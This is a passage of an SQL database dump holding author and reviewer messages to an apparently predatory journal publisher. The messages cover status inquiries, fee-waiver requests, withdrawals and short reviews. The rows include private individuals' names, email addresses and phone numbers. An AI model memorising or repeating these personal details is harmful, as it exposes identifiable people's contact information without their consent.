Prasad</p>',376,6136,1,'2020-11-13 07:20:27',1),(540,'Review update','<p>Dear Editor,&nbsp;</p>\r\n<p>&nbsp;It has been over 2 weeks since I&nbsp; submitted my case report titled \"An Unsual presentation of&nbsp;<span>Guillain-Barr&eacute; syndrome</span> \" and havent recieved any updates on the\nreview process. I would like to know if the article has been reviewed and accepted for publication. Kindly get back to me at the earliest.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards,</p>\r\n<p>Dr. Ananya Vasudhar&nbsp;</p>',75,7770,1,'2020-11-16 08:44:48',1),(541,'Regarding the publication','<p>Dear Editor,</p>\r\n<p>Recently I have submitted my manuscript (<span>IPBMBJ-20-6593) at Biochemistry and molecular biology Journal. Website itself mentioned open access. If you have any hidden charges means please\nkindly let me know. I will withdrwan my manuscript and proceed for other openaccess hybrid journals.</span></p>\r\n<p><span>&nbsp;</span></p>\r\n<p><span>Awaiting for your response.</span></p>\r\n<p>Best Regards,</p>\r\n<p>Ravi Adusumalli</p>\r\n<p>ravi.adusumalli@ibv.uio.no</p>',370,7850,1,'2020-11-16 12:45:23',1),(543,'review','<p>I am so sorry - thank you for the kind invitation but I am swamped!</p>',0,15385,3,'2020-11-18 13:36:18',0),(544,'Submitted manuscript','<p>I want to know the final decision of my search specially that this the 1st time publish in your journal hopping that my manuscript will be meet your satisfaction</p>',536,7875,1,'2020-11-19 07:24:48',1),(545,'unable to afford the fee','<div dir=\"ltr\">Dear sir,</div>\r\n<div dir=\"ltr\">I thank you with all my heart for accepting my case report , but I regret to inform you that the cost is too high for me to bear in these trying times. I humbly request reduction if\npossible as the cost to get this published exceeds the salary i make in a month. I do hope you consider this request. thank you.</div>\r\n<div dir=\"ltr\"><br /><span>&raquo; Reference number:&nbsp;</span><strong>2171-6625-11-343</strong><br /><span>&raquo; Journal Name:&nbsp;</span><strong>imedpub - Journal of Neurology and\nNeuroscience</strong><br /><span>&raquo; Article Title:&nbsp;</span><strong>An Extra Dural Haemorrhage Following the Treatment of an Atypical Presentation of a Venous</strong></div>\r\n<div dir=\"ltr\"><span>&nbsp;</span></div>\r\n<div><span>sincerely,</span></div>\r\n<div><span>mahavishnu</span></div>',75,7336,1,'2020-11-20 03:10:11',1),(546,'manuscript status','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>It has been 4 months since I submitted the article and there is noc ocmmunication since. Could you please let me know the sratus?</p>\r\n<p>&nbsp;</p>\r\n<p>Regards</p>',376,6409,1,'2020-11-21 13:35:06',1),(549,'Submission','<p>Can I ask you about the final decision of my manuscript specially this the first time for me submission in your journal</p>',536,7875,1,'2020-11-22 13:51:07',1),(550,'this is a suspicious predetory journal','<p>kindly withdtraw my article and all communications harrasing me for payment. i refuse participation of my case under this journal .Thank you</p>',75,7336,1,'2020-11-23 07:52:48',1),(552,'Information ','<p>Good morning,&nbsp; please I want juste to know if you can tell me if my article will be published in your journal and when?</p>\r\n<p>Regard</p>',75,7515,1,'2020-11-24 05:40:16',1),(553,'ipjtac-20-6697','<p>Sorry, the templete does not work.</p>\r\n<p>My recommedation is: Accept after monor revision</p>\r\n<p>I suggest authors correct some words:</p>\r\n<p>Introduction line 7: replace \"sitting\" by \"etting\"</p>\r\n<p>Page 5 indications for damage control: line 14 delete: \"-1.9-13\"</p>\r\n<p>Correct page numbers of references. ref. 5 you wirte: (pg.261-9) 269-71 what is correct?</p>\r\n<p>&nbsp;</p>',0,8853,3,'2020-11-24 11:45:31',0),(554,'ipars-20-6560','<p>I know virtually nothing about this subject. I cannot help you.</p>',0,5068,3,'2020-11-24 12:25:29',0),(555,'requesting for response ','<p>please respond me&nbsp;&nbsp;<strong>timely</strong></p>\r\n<p>&nbsp;</p>',50,4210,1,'2020-11-24 12:41:56',1),(556,'Request for profile edition','<p>Hi Dear</p>\r\n<p>My&nbsp;Tel: 0949552657 was not functioning and I request you to repace it with +251912112251 in my profile.</p>\r\n<p>thank you!</p>',48,5297,1,'2020-11-27 08:07:33',1),(557,'Request for your usual action to correct\nmy profile','<p>Dear,</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you for the correction on the first article.</p>\r\n<p>Please aslo do the same correction on the listeria.</p>\r\n<blockquote>\r\n<div id=\"yiv4715887973replybody1\">\r\n<p>My&nbsp;Tel: 0949552657 was not functioning and I request you to repace it with +251912112251 in my profile.</p>\r\n<p>thank you!</p>\r\n</div>\r\n</blockquote>',48,5297,1,'2020-11-27 10:54:50',1),(558,'Manuscript tracking','<p>Hello, kindly update me on the progress of my manuascript ipjda-20-6678.</p>\r\n<p>&nbsp;Marceline</p>',765,7935,1,'2020-11-27 11:30:19',1),(559,'online payment problems','<p>Dear Imedpub;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you for accepting our article.</p>\r\n<p>Due to sanctiones against IRAN&nbsp;There is no possibility of the online portal payment.</p>\r\n<p>Please note that the following article was prepared in the personal capacity of the authors, not as official representatives or otherwise on behalf of a sanctioned government. the authors are\nemployed at academic / research institutions where research and education are the primary functions of the entities.</p>\r\n<p>We are looking forward for your further alternative solutions.</p>\r\n<p>&nbsp;</p>\r\n<p>sincerely;</p>\r\n<p>Shahrokh Sadeghi Boogar,</p>\r\n<p>Author</p>',267,7659,1,'2020-11-29 15:31:16',1),(560,'Need Update','<p>Dear Editor,</p>\r\n<p>Since the acceptance of my manuscript for publication in your noble journal, i have not received any update on it. Thank you</p>',353,5474,1,'2020-11-30 23:20:06',1),(562,'Information','<p>Dear Madam/Sir</p>\r\n<p>With respect,</p>\r\n<p>Would you please tell me more information about my manuscript.</p>\r\n<p>Your Sincerely,</p>\r\n<p>Y Tahamtan</p>',248,4286,1,'2020-12-02 10:29:06',1),(563,'Acceptance Letter','<p>Dear Sir, Thanks for accepting the submitted manuscript (ipjarn-20-6414). Could you send the acceptance letter to my email (<a href=\"mailto:aziz2002@asia.com\">aziz2002@asia.com</a>)? Thanks in\nadvance. Regards: Dr Aziz A Rahman</p>',164,7674,1,'2020-12-02 15:07:21',1),(564,'Delay in publication of accepted\nmanuscript - IPBMBJ-20-5114','<p>Sir,&nbsp;</p>\r\n<p>Having anticipated the online publication of the above named manuscript before now and not seeing it being published, I want to, please, know why there is this delay.</p>\r\n<p>I would be glad if my request is granted due and timely response,</p>\r\n<p>Thank you!</p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\n&nbsp; &nbsp; &nbsp; Yours sincerely, Mida H. Mayel</p>',370,6290,1,'2020-12-03 02:03:52',1),(566,'rejection','<p>Dear Editor,</p>\r\n<p><strong>POTENTIAL PSYCHOLOGICAL BENEFITS OF A REGENERATIVE GRAFT FOR NIPPLE RECONSTRUCTION entitled manuscrit is out of my scope. I a not surgeon. I am a pediatric neurologist.</strong></p>\r\n<p><strong>Yours,</strong></p>\r\n<p><strong>Dr.N. Ceylan</strong></p>',0,11859,3,'2020-12-04 04:59:15',0),(569,'ipgjrr-20-6618 ','<p>Please withdraw this manuscript. As I asked before several time&nbsp;</p>',536,7875,1,'2020-12-07 14:56:18',1),(571,'Update Inquiry','<p>To The Editorial Team,</p>\r\n<p>I wanted to know if there has been any update with regard to my review article submission titled, \"Biopsychosocial Implications of Crystal Methamphetamine Abuse: A Review of Literature \"&nbsp;which\nI submitted on November 4th.&nbsp;</p>\r\n<p>Please do let me know if there is anything to be done from my end.&nbsp;</p>\r\n<p>Thanking you.</p>\r\n<p>Sincerely,</p>\r\n<p>Anisha Kumar</p>',75,7837,1,'2020-12-08 06:46:14',1),(572,'Please Information','<p>I want to have information about the manuscript ipacsit-20-5129 initial date submitted Jul 09-2020</p>\r\n<p>&nbsp;</p>',980,6304,1,'2020-12-12 13:15:26',1),(574,'Enquiry About Publication of Accepted\nManuscript - 	IPBMBJ-20-5114','<p>Sir,&nbsp;</p>\r\n<p>Please, when do I expect the online publication of my accepted manuscript (numbered&nbsp;IPBMBJ-20-5114)?</p>\r\n<p>Thanks in anticipation of your kind and timely response!&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',370,6290,1,'2020-12-13 23:46:01',1),(575,'Requesting time extension','<p>Dear Editorial Office,</p>\r\n<p>I am writing regarding the manuscript \"<strong>Antibody testing for Covid-19: An open-labelled, pan-European prevalence study in front-line essential workers; UK and Ireland\nreporting\"</strong>.</p>\r\n<p>I would be grateful it if you would allow an extension until the 22nd Dec for the completion of the required and outstanding task of referencing.</p>\r\n<p>Apologies for the late notice.</p>\r\n<p>With anticipated thanks and kind regards,</p>\r\n<p>Eric Bouilloux</p>',85,7831,1,'2020-12-15 00:55:04',1),(576,'Article','<p>I would like to remove this article from consideration. I was not aware there was an article processing fee associated with publication in this journal.</p>\r\n<p>&nbsp;</p>',85,8042,1,'2020-12-16 16:45:40',1),(577,'i cannot find the article to review.','<p>Kindly send the article to me in word so that i can review for you quickly. i saw the article title at your website but i clicked on it but the article did not download.&nbsp;</p>\r\n<p>Thanks&nbsp;</p>\r\n<p>Anthony Kodzo-Grey Venyo.&nbsp;</p>',0,15660,3,'2020-12-16 22:13:59',0),(578,'Agreed','<p><br data-mce-bogus=\"1\"></p>',0,15592,3,'2020-12-17 00:28:07',1),(579,'Follow up','<p>Dear Editor</p>\r\n<p>It is my pleasure to have your kindly scientific attention.I would like to konw approximate time-lenght of referee reply. Please help us to access more quick publication process.</p>\r\n<p>Sincerely</p>\r\n<p>Mehdi Maghbooli</p>\r\n<p>&nbsp;</p>',75,7965,1,'2020-12-18 07:41:43',1),(580,'Withdrawing Submission ','<p>Good morning,&nbsp;</p>\r\n<p>We would like yo withdraw this submission from Journal of Pancreas. We are unable to provide any funds for publication fees and would therefore be unable to meet your requirements. Appreciate your\nunderstanding in advance.&nbsp;</p>\r\n<p>Best&nbsp;</p>\r\n<p>Raheel Jajja/Juan Sarmiento&nbsp;</p>',21,7574,1,'2020-12-18 15:49:56',1),(581,'Withdrawing Submission ','<p>Good morning,&nbsp;</p>\r\n<p>We would like yo withdraw this submission from Journal of Pancreas. We are unable to provide any funds for publication fees and would therefore be unable to meet your requirements. Appreciate your\nunderstanding in advance.&nbsp;</p>\r\n<p>Best&nbsp;</p>\r\n<p>Raheel Jajja/Juan Sarmiento&nbsp;</p>',21,7574,1,'2020-12-18 15:50:10',1),(582,'The reviewers did not receive emails','<p><span style=\"font-size: small;\">Please let me know if emails have\nbeen sent to the reviewers that I have selected to review the\nmanuscript (Ms. No. ipaad-20-6906).</span></p>\r\n<p><span style=\"font-size: small;\">Thank you.</span></p>\r\n<p><span style=\"font-size: small;\">-Mohammed Inayathullah</span></p>',259,1267,2,'2020-12-21 21:36:36',1),(583,'Follow-up','<p>Dear editorial group;</p>\r\n<p>Following to our previous letter stating our inability to pay the fees, no response has been received.</p>\r\n<p>Could you please inform us about your final decision?</p>\r\n<p>Thank you,</p>\r\n<p>Shahrokh Sadeghi Boogar,</p>\r\n<p>Author</p>',267,7659,1,'2020-12-22 05:48:35',1),(586,'Availability duration','<p>Dear Editor,</p>\r\n<p>Hope you are in good health. Till 1st january i am not available for review due to busy schedule. I wish to continue welcome review after 1st Jan, 2021.&nbsp;</p>\r\n<p>In addition, i am interested to review topics about microbiology, microbe microbe interaction, Microbe host defense system. Genetic Engineering, Synthetic Biology and microbial molecular biology. I\nwelcome to review invitation.&nbsp;</p>\r\n<p>One more thing, i mailed twice to editorial board regarding being selected as \"Permanent Reviewer\". It will be honor if you consider this. I wish to get reply from you regarding this.&nbsp;</p>\r\n<p>I believe in confidentiality and copyright. And i i believe in reviewer code of conduct.&nbsp;</p>\r\n<p>Looking forward to hear from you regarding all these.</p>\r\n<p>&nbsp;</p>\r\n<p>Kindest Regards</p>\r\n<p>Usama Ahmed Khalid</p>\r\n<p>BTGE, KUST, Pakistan</p>',0,15705,3,'2020-12-22 12:12:37',0),(587,'Status of my paper ','<p>Kindly update me about status of my paper</p>',984,8119,1,'2020-12-25 07:43:06',1),(588,'Withdrawal of research paper manuscript\nnumber ijddr-20-6752','<p>Respected sir/mam,&nbsp;</p>\r\n<p>I am Akshita verma want to make a request to you that recently I had submitted a research paper manuscript to your journal ( ijddr-20-6752) which I want to withdraw because of some\ncorrections.</p>\r\n<p>Hope you accept my request as soon as possible.</p>\r\n<p>Thanks and regards&nbsp;</p>\r\n<p>Akshita Verma</p>',376,8006,1,'2020-12-25 09:07:03',1),(589,'Information about Manuscript','<div dir=\"ltr\">Dear&nbsp;</div>\r\n<div dir=\"ltr\">Editor Service Team</div>\r\n<div dir=\"ltr\">With respect,</div>\r\n<div dir=\"ltr\">According to below email I would like to ask about my manuscript.</div>\r\n<div dir=\"ltr\">I do not&nbsp;<span>withdrawal my manuscript and I would like to review again.</span></div>\r\n<div dir=\"ltr\">Yours Sincerely,</div>\r\n<div dir=\"ltr\">Y Tahamtan&nbsp;</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Dear Dr.&nbsp; yahya&nbsp; tahamtan,</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Greetings of the day!</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Our expert&rsquo;s team has come across your research/review article entitled &ldquo;Adjuvant activity of vero cell on cellular and humoral immunity responses against E. Coli O157:H7\ninfections in Balb/c mice&rdquo;, which was submitted to &ldquo;Archives of Clinical Microbiology&rdquo; but due to some inconvenience, unfortunately this research/review article was in withdrawn\ncategory. So in this regard, we request you to let us know the reason behind withdrawal so we can work on it.</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Additionally, we would like to inform you that our internal review committee has found quality research and new technical method/principle in your article. So in this regard, we are\nglad to extend support to your article by publishing in our upcoming special issue in Major fields like Medical, Engineering,&nbsp; Technology, Business, Arts &amp; Science. Hence we encourage you to\npublish your article in this special issue.</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">It is one of the reputed journals which follow ethical peer review process and Annually we are releasing 4 issues at our Journals.</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">For any assistance, feel free to contact us.</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Thanks &amp; Regards</div>\r\n<div dir=\"ltr\">Edward Jr</div>\r\n<div dir=\"ltr\">Editor Service Team</div>',248,4286,1,'2020-12-27 10:19:46',1),(590,'withdrawal of manuscript number\nijddr-20-6752','<p>Respected sir/mam</p>\r\n<p>i am akshita verma author of manuscript number ijddr-20-6752 want to request to you that i want to withdraw my research paper manuscript due to some corrections which i recently sunbmitted to your\njournal.</p>\r\n<p>Kindly accept my request as soon as possible.</p>\r\n<p>Thanks and regards,</p>\r\n<p>akshita verma</p>',376,8006,1,'2020-12-27 10:57:52',1),(593,'Status of my paper ','<p>When will I get a decision about paper.</p>\r\n<p>Regards</p>',984,8119,1,'2021-01-02 01:26:27',1),(595,'Manuscript 	ipic-21-7016','<p>Dear Sir,</p>\r\n<p>Thank you for asking me to review this manuscript.</p>\r\n<p>I personally feel that a single case intervention with unmeasured &amp; unknown confounders cannot be used to conclude anything about CVD burden, hence it needs to be rejected in toto.</p>\r\n<p>Regards, Dr Kanha Vijay Singru, Interventional cardiologis, India.</p>\r\n<p>&nbsp;</p>',0,10895,3,'2021-01-03 02:47:21',1),(596,'Contradiction in Issn','<p>Dear Editore</p>\r\n<p>I recive an emailT contains my article, That I confirm it for publishing. Issn in this article is difrent from your site. What is correct Issn?</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',980,7889,1,'2021-01-05 06:09:36',1),(599,'Article current status','<p>Hi sir/madam</p>\r\n<p>I would like to know the status of my article. It has been four months that the status remains same and no updates. I would like to know about the current status of my article.</p>\r\n<p>Thank you</p>\r\n<p>Pradeepa Prasad</p>',376,6136,1,'2021-01-08 06:11:39',1),(600,'Reviewer','<p>A single case report should be valuable&nbsp;and rare cases. However, there have been many studies on interplay between diet and coronary heart disease. Therefore, this article lacks innovation and\nthe references are too old to reflect the latest research progress. This article is not suitable for publication in this journal.</p>',0,13115,3,'2021-01-08 07:46:41',0),(602,'Query regarding APC','<p>I would like to know about the article processing charge of the journal.If it is high ,i would like to withdraw my article.</p>\r\n<p>We are from low middle income country and during this corona crisis time for us,it is difficult for us.</p>\r\n<p>Kindly do the needful</p>\r\n<p>Thanking you</p>',75,8256,1,'2021-01-09 01:09:05',1),(603,'Enquite regards to manuscript','<p>Dear editorial office</p>\r\n<p>May i kindly enquire regarding any updates on the manuscript</p>\r\n<p>Kind regards</p>\r\n<p>Dr johann</p>\r\n<p>&nbsp;</p>',21,8110,1,'2021-01-09 14:11:00',1),(604,'Publication process','<p><span class=\"JLqJ4b ChMk0b\" data-language-for-alternatives=\"en\" data-language-to-translate-into=\"es\" data-phrase-index=\"2\"><span>Regards&nbsp;</span></span></p>\r\n<p><span class=\"JLqJ4b ChMk0b\" data-language-for-alternatives=\"en\" data-language-to-translate-into=\"es\" data-phrase-index=\"2\"><span>I have been that editorial has been accepeted.&nbsp;<span>I would\nlike to know what is the procedure for its publication.</span></span></span></p>\r\n<p><span class=\"JLqJ4b ChMk0b\" data-language-for-alternatives=\"en\" data-language-to-translate-into=\"es\" data-phrase-index=\"2\"><span><span>Thank you,</span></span></span></p>\r\n<p><span class=\"JLqJ4b ChMk0b\" data-language-for-alternatives=\"en\" data-language-to-translate-into=\"es\" data-phrase-index=\"2\"><span><span>Johana Marquez</span></span></span></p>\r\n<p><span class=\"JLqJ4b ChMk0b\" data-language-for-alternatives=\"en\" data-language-to-translate-into=\"es\" data-phrase-index=\"2\"><span><span>&nbsp;</span></span></span></p>',274,7901,1,'2021-01-12 20:57:51',1),(606,'editor assigned?','<p>Dear editoria office</p>\r\n<p>&nbsp;</p>\r\n<p>We received the letter of accept and also payed article processing charge.</p>\r\n<p>Why the status has been still editor assigned?</p>\r\n<p>&nbsp;</p>\r\n<p>Best Regards</p>\r\n<p>&nbsp;</p>\r\n<p>Kazuhisge Uchida</p>',21,7996,1,'2021-01-13 11:01:18',1),(610,'Publication discount','<div><span><span>Thank you for accepting our manuscript.&nbsp;</span></span></div>\r\n<div><span>&nbsp;</span></div>\r\n<div><span>W</span><span>e would like to know if we can access a publication discount.</span><span><span style=\"font-family: Roboto, RobotoDraft, Helvetica, Arial, sans-serif;\">This request is based\non the fact that all the authors listed in this article are from Colombia, a developing country and according to a</span><span><span style=\"font-family: arial, sans-serif;\">rticle-processing charges\nthey could access a&nbsp;</span></span><span style=\"font-family: Roboto, RobotoDraft, Helvetica, Arial, sans-serif;\">discount. I <span>sent an email with this request but&nbsp; I have not received a\nresponse.&nbsp; T<span>oday is the deadline for payment.</span></span></span></span></div>\r\n<div><span style=\"font-family: Roboto, RobotoDraft, Helvetica, Arial, sans-serif;\">&nbsp;</span></div>\r\n<div><span style=\"font-family: Roboto, RobotoDraft, Helvetica, Arial, sans-serif;\"><span>I am looking forward to your response.</span>&nbsp;</span></div>\r\n<div>Regards,</div>',274,7901,1,'2021-01-19 16:25:46',1),(613,'Submission after Review','<p>Dear Dr Tarique,</p>\r\n<p>&nbsp;</p>\r\n<p>I thoroughly read the manuscript and found findings very well explained. I have added the comments in Reviewer form. You can check that.</p>\r\n<p>I will pleased to review more manuscripts regarding microbes, microbial genetics, micromolecular biology, cancer, molecular biology in microbeomicrobe hdefense system, oncomolecular\nbiology.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Kindest Regards</p>',370,15705,3,'2021-01-22 11:17:10',1),(614,'Please kindly provide an extension for a\nminor revision ','<p>Dear Editor-in-Chief,</p>\r\n<p>Regarding the manuscript, Ref.: Ms. No.&nbsp;<strong>IPBMBJ-20-6881.</strong></p>\r\n<p>Thank you very much for the kind comments and suggestions.</p>\r\n<p>We are working on improving and providing feedbacks. We hope all this resubmission will be done by next week.</p>\r\n<p>So, please kindly allow us for the extension to revise this manuscript.</p>\r\n<p>As shown below, editor&rsquo;s comments present in the online system concern 10 items. The editor mentioned in item#5 that the texts were highlighted. We did not see any file from the system. So,\nthere is no way to visualize the sentences highlighted. So, please kindly send us that file containing sentences marked or highlighted by the editor. So, we can work on that properly. Thank you so\nmuch for your kind attention.</p>\r\n<p>Yours sincerely,</p>\r\n<p>Chalinee Ronpirin</p>\r\n<p>Corresponding author &nbsp;</p>\r\n<p>&hellip;.</p>\r\n<p>Editor&rsquo;s feedback</p>\r\n<p>The investigation and data presentation is satisfactory. However, minor revision is needed. Some</p>\r\n<p>Please check the following points</p>\r\n<p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Add your preference regarding this study! Why you prefer this study to conduct? Address this to strengthen your investigation.</p>\r\n<p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Some titles/headings show that these are complete sentences. Rephrase them. e.g. &ldquo;P. edulis extracts inhibit glutamate-induced intracellular\nROS are associate with regulation of mitochondria related DEGs&ldquo;. It seems like a complete sentence. Re-write please.</p>\r\n<p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; One to two references are missing. I have highlighted them.</p>\r\n<p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Some mistakes should be resolved, somewhere in punctuation, somewhere in words, somewhere in in-text citations. I will recommend please give a\nproof read again to remove the flaws.</p>\r\n<p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; You repeated again and again that glutamate at higher level results abnormality, glutamate in excess amount etc. Repetition seems odd. I have\nhighlighted them, check that.</p>\r\n<p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I recommended to emphasize on genetic disorder regarding neurodegenerative disease in your Introduction portion. Add two to three lines because\ngenetic disorder is the major role in this. It should be emphasized generally.</p>\r\n<p>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Your comparative results of PP and FP are good. But I think it should be clearly mentioned in every result of PP and FP that whose efficiency was\nbetter and why. It should be separately addressed in each portion.</p>\r\n<p>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Have you found any study or in your investigation that, what if glutamate level decreased from its normal range or level by using these Passiflora\nextracts, what will be the consequences?</p>\r\n<p>9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; You didn&rsquo;t concluded properly that at which concentration of Passiflora extracts &nbsp;should be used in future. What you recommend for\nother researchers and scientists !!&nbsp;</p>\r\n<p>10.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Add your recommendations for further scientific investigations based on your research conclusion.</p>\r\n<p>&hellip;&hellip;.</p>',370,8113,1,'2021-01-25 07:19:38',1),(616,'Inquiry regarding submitted manuscript','<p>Kindly update me regarding the status of my submitted paper</p>',376,8129,1,'2021-01-26 15:42:59',1),(617,'ijddr-20-6865','<p>Kindly update me regarding the status of my submitted paper.</p>\r\n<p>&nbsp;</p>\r\n<p>With regards</p>\r\n<p>Dr. Rupy Dhir</p>',376,8129,1,'2021-01-27 03:55:27',1),(619,'Status of my manuscript','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to know the review process will take ho long?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-01-27 12:56:34',1),(621,'cupping research','<p>please update me with my manuscript</p>',50,6447,1,'2021-01-27 19:01:15',1),(622,'Re:fate of my paper','<p>kindly let me know the fate of my paper.</p>',282,7631,1,'2021-01-29 14:33:59',0),(623,'ARTICLE ANTIBODY RESPONSE','<p>RESPECTED EDITOR&nbsp;</p>\r\n<p>GREETINGS FROM PAKISTAN</p>\r\n<p>I HAVE SUBMITTED MY ARTICLE DULY AMENDED IN LIGHT OF OBSERVATIONS</p>\r\n<p>REGARDS</p>\r\n<p>DR MUHAMMAD YOUNAS</p>\r\n<p>PAKISTAN</p>',85,8044,1,'2021-01-31 07:43:12',1),(625,'status of my manuscript','<p>Dear Editorial</p>\r\n<p>I have submitted manuscript before 7 months and it was accepted for publication in your journal, but till now it is not published, please try to notify its status to us!</p>',48,5931,1,'2021-02-02 07:25:11',1),(626,'information regarding my article ','<p>review period is too long(more than 2 months) therefore please let me inform the decission</p>',50,7393,1,'2021-02-02 12:26:16',1),(627,'Status','<p>Hi,</p>\r\n<p>Can you clarify the meaning of this manuscript status? Is it currently in the review process?</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks,</p>\r\n<p>&nbsp;</p>\r\n<p>Christina Marbrey</p>',667,8051,1,'2021-02-02 14:22:28',1),(629,'Status of my manuscript','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to know the review will take how long more?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-04 07:31:07',1),(630,'Withdrawn','<p>Dear editor, I want to&nbsp;<span>Withdrawn my manuscript.</span></p>\r\n<p><span>With my regards.</span></p>\r\n<p><span>Dr. G&uuml;l ?lhan</span></p>',85,8307,1,'2021-02-06 09:31:25',1),(631,'Requesting authors contribution removal','<p>Greetings? May you remove authors contribution part from the manuscript i sent to you that you publidhed with out sending me the proof. Authors contribution has an error</p>',48,8380,1,'2021-02-06 13:12:04',1),(632,'Status of my manuscript','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to know whether this journal is free or there are any processing charges.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-07 09:22:18',1),(634,'Invoice and Payment','<p>Dear Sir(s)--</p>\r\n<p>Was advised by Editor-in-Chief to make arrangements for payment to expedite galley proofs.</p>\r\n<p>Would like to do bank wire transfer.</p>\r\n<p>Please send invoice w/ information.</p>\r\n<p>Thank you in advance.</p>\r\n<p>Regards and VR--Dr./LTC J</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',269,8341,1,'2021-02-07 19:04:44',1),(636,'Withdraw','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to withdraw my manuscript.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-08 09:37:52',1),(637,'retiro de articulo','<p>Muy buenos dias, por la presente informo el retiro del articulo \"<strong>S&Iacute;NDROME METAB&Oacute;LICO EN ADULTOS: CARACTER&Iacute;STICAS CL&Iacute;NICO EPIDEMIOL&Oacute;GICAS Y SUS\nALTERNATIVAS DIAGNOSTICAS Y TERAP&Eacute;UTICAS DISPONIBLES EN LA ACTUALIDAD. UNA REVISION SISTEMATICA\" </strong>el cual sera presentado a la revista por otros autores, muchas gracias.</p>',274,8597,1,'2021-02-08 15:39:21',1),(638,'ijddr-20-6865','<p>Kindly update me regarding my paper</p>',376,8129,1,'2021-02-08 16:06:56',1),(639,'Status of my manuscript','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to know the review will take how long more?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-09 12:13:03',1),(646,'Proof of my manuscript','<div align=\"left\">Dear Yoshihiro Kawaoka</div>\r\n<div align=\"left\">Thank for acceptance of my manuscript, but I would like to ask you about the proof of my manuscript.</div>\r\n<div align=\"left\">Yuors Sincerely,</div>\r\n<div align=\"left\">Y Tahamtan&nbsp;</div>',248,4286,1,'2021-02-15 11:19:51',1),(647,'status of my manuscript','<p>hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>i have submitted the revision.</p>',85,8459,1,'2021-02-15 12:16:14',1),(649,'inquiry of waiver free for publication ','<p>Dear Editor I am Daniel Tarekegn from Ethiopia(low in come country) the author of&nbsp;<strong>Infection prevention practice and associated factors among health care workers in south Gondar zone,\nNorth West Ethiopia, 2020</strong><span>&nbsp;submitted to your journal for publication but it is still under review. When I asked the customer services provider of your journal they asked me to pay\nfor publication but I could 